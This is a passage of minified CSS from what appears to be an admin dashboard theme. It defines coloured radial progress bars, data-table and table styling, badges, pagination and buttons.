#d6d6d6)}.radial-bar-info.radial-bar-75{background-image:linear-gradient(360deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-80{background-image:linear-gradient(378deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-85{background-image:linear-gradient(396deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-90{background-image:linear-gradient(414deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-95{background-image:linear-gradient(432deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-100{background-image:linear-gradient(450deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-50{background-image:linear-gradient(270deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-55{background-image:linear-gradient(288deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-60{background-image:linear-gradient(306deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-65{background-image:linear-gradient(324deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-70{background-image:linear-gradient(342deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-75{background-image:linear-gradient(360deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-80{background-image:linear-gradient(378deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-85{background-image:linear-gradient(396deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-90{background-image:linear-gradient(414deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-95{background-image:linear-gradient(432deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-100{background-image:linear-gradient(450deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-50{background-image:linear-gradient(270deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-55{background-image:linear-gradient(288deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-60{background-image:linear-gradient(306deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-65{background-image:linear-gradient(324deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-70{background-image:linear-gradient(342deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-75{background-image:linear-gradient(360deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-80{background-image:linear-gradient(378deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-85{background-image:linear-gradient(396deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-90{background-image:linear-gradient(414deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-95{background-image:linear-gradient(432deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-100{background-image:linear-gradient(450deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-50{background-image:linear-gradient(270deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-55{background-image:linear-gradient(288deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-60{background-image:linear-gradient(306deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-65{background-image:linear-gradient(324deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-70{background-image:linear-gradient(342deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-75{background-image:linear-gradient(360deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-80{background-image:linear-gradient(378deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-85{background-image:linear-gradient(396deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-90{background-image:linear-gradient(414deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-95{background-image:linear-gradient(432deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-default.radial-bar-100{background-image:linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-50{background-image:linear-gradient(270deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-55{background-image:linear-gradient(288deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-60{background-image:linear-gradient(306deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-65{background-image:linear-gradient(324deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-70{background-image:linear-gradient(342deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-75{background-image:linear-gradient(360deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-80{background-image:linear-gradient(378deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-85{background-image:linear-gradient(396deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-90{background-image:linear-gradient(414deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-95{background-image:linear-gradient(432deg, #fb6d9d 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-pink.radial-bar-100{background-image:linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent),linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-50{background-image:linear-gradient(270deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-55{background-image:linear-gradient(288deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-60{background-image:linear-gradient(306deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-65{background-image:linear-gradient(324deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-70{background-image:linear-gradient(342deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-75{background-image:linear-gradient(360deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-80{background-image:linear-gradient(378deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-85{background-image:linear-gradient(396deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-90{background-image:linear-gradient(414deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-95{background-image:linear-gradient(432deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-purple.radial-bar-100{background-image:linear-gradient(450deg, #536dfe 50%, transparent 50%, transparent),linear-gradient(270deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-50{background-image:linear-gradient(270deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-55{background-image:linear-gradient(288deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-60{background-image:linear-gradient(306deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-65{background-image:linear-gradient(324deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-70{background-image:linear-gradient(342deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-75{background-image:linear-gradient(360deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-80{background-image:linear-gradient(378deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-85{background-image:linear-gradient(396deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-90{background-image:linear-gradient(414deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-95{background-image:linear-gradient(432deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-inverse.radial-bar-100{background-image:linear-gradient(450deg, #4c5667 50%, transparent 50%, transparent),linear-gradient(270deg, #4c5667 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-lg{width:100px;height:100px;font-size:20px}.radial-bar-lg:after,.radial-bar-lg>img{width:70px;height:70px;margin-left:15px;margin-top:15px;line-height:70px}.radial-bar-sm{width:50px;height:50px;font-size:12px}.radial-bar-sm:after,.radial-bar-sm>img{width:35px;height:35px;margin-left:7.5px;margin-top:7.5px;line-height:35px}.radial-bar-xs{width:30px;height:30px;font-size:8px}.radial-bar-xs:after,.radial-bar-xs>img{width:20px;height:20px;margin-left:5.5px;margin-top:4.5px;line-height:21px}.radial-bar{background-clip:content-box}.card .card-body .dataTables_wrapper .dataTables_scroll{margin-left:-20px;width:calc(100% + 40px)}.card .card-body .dataTables_wrapper .dataTables_scroll .dataTable{margin-left:0px;width:100%}.card .card-body .dataTables_wrapper .dataTable{margin-left:-20px;width:calc(100% + 40px)}.card .card-body .dataTables_wrapper .form-control{border:none;min-height:30px;background-color:#f4f4f4}.card .card-body .dataTables_wrapper select.form-control{height:30px !important}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link{margin-left:5px;min-width:30px;height:30px;padding:0;text-align:center;line-height:30px;border:none;background-color:#f4f4f4;color:#212121;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.first .page-link,.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.last .page-link{padding:0 15px}.card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link{color:#6c757d;background-color:#f4f4f4;cursor:not-allowed}.card .card-table .card-item{border-top:1px solid #ededed}.table thead{background-color:#f6f8fb}.table thead th{font-weight:600;color:#879099;font-size:14px}.table tbody td{vertical-align:middle}.table tbody td .table-user-thumb{width:30px;height:30px;border-radius:50%}.table tbody td .table-actions{text-align:right}.table tbody td .table-actions a{color:#bcc1c6;display:inline-block;margin-left:8px;font-size:16px}.badge{padding:6px 10px;font-size:12px;font-weight:600}.badge.badge-top-left{top:7px;right:10px}.badge.badge-top-left-2{top:40px;right:10px}.badge-primary,.badge-success,.badge-info,.badge-warning,.badge-danger,.badge-inverse,.badge-purple,.badge-pink,.badge-twitter,.badge-facebook,.badge-linkedin,.badge-google,.badge-dribbble,.badge-instagram{color:#fff}.badge-theme{background-color:#ef4153}.badge-aqua{background-color:#3ec5d6}.badge-blue{background-color:#19B5FE}.badge-light-blue{background-color:#89CFF0}.badge-teal{background-color:#008081}.badge-yellow{background-color:#F7CA18}.badge-orange{background-color:#FF8000}.badge-green{background-color:#26C281}.badge-lime{background-color:#cad900}.badge-red{background-color:#F22613}.badge-fuchsia{background-color:#df2de3}.badge-navy{background-color:navy}.badge-empty{background:transparent}.badge-primary{background-color:#007bff}.badge-success{background-color:#2dce89}.badge-info{background-color:#11cdef}.badge-warning{background-color:#fb6340}.badge-danger{background-color:#f5365c}.badge-muted{background-color:#6c757d}.badge-inverse{background-color:#4c5667}.badge-purple{background-color:#BF55EC}.badge-pink{background-color:#f76397}.badge-white{background-color:#fff}.btn .badge{padding:2px 6px}.pagination .page-item{padding:5px}.pagination .page-item .page-link{outline:initial !important;box-shadow:none !important;line-height:18px;min-width:30px;text-align:center;height:30px;padding:6px 0px;border:none;background-color:#eaeaea;color:#3e5569;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.pagination .page-item .page-link.first,.pagination .page-item .page-link.last{color:#fff;background-color:#3e5569}.pagination .page-item.active .page-link{background-color:#007bff;color:#fff}.btn{padding:6px 14px;height:30px;font-size:13px;font-weight:600;-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.btn i{margin-right:5px}.btn-icon{width:30px;height:30px;padding:0;text-align:center;line-height:32px;font-size:14px;display:inline-block;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.btn-icon i{margin-right:0 !important}.social-btn{width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:30px;color:#fff}.social-btn i{margin:0}.btn-primary,.btn-success,.btn-info,.btn-warning,.btn-danger,.btn-inverse,.btn-purple,.btn-pink,.btn-twitter,.btn-facebook,.btn-linkedin,.btn-google,.btn-dribbble,.btn-instagram{color:#fff}.btn-theme{background:linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%);color:#fff}.btndefault{background-color:#dae6ec;border-color:#dae6ec}.btndefault:focus,.btndefault:hover,.btndefault:active,.btndefault.active{background-color:#dae6ec;border-color:#C2CED4;color:#fff !important}.btn-primary{background-color:#007bff;border:1px solid 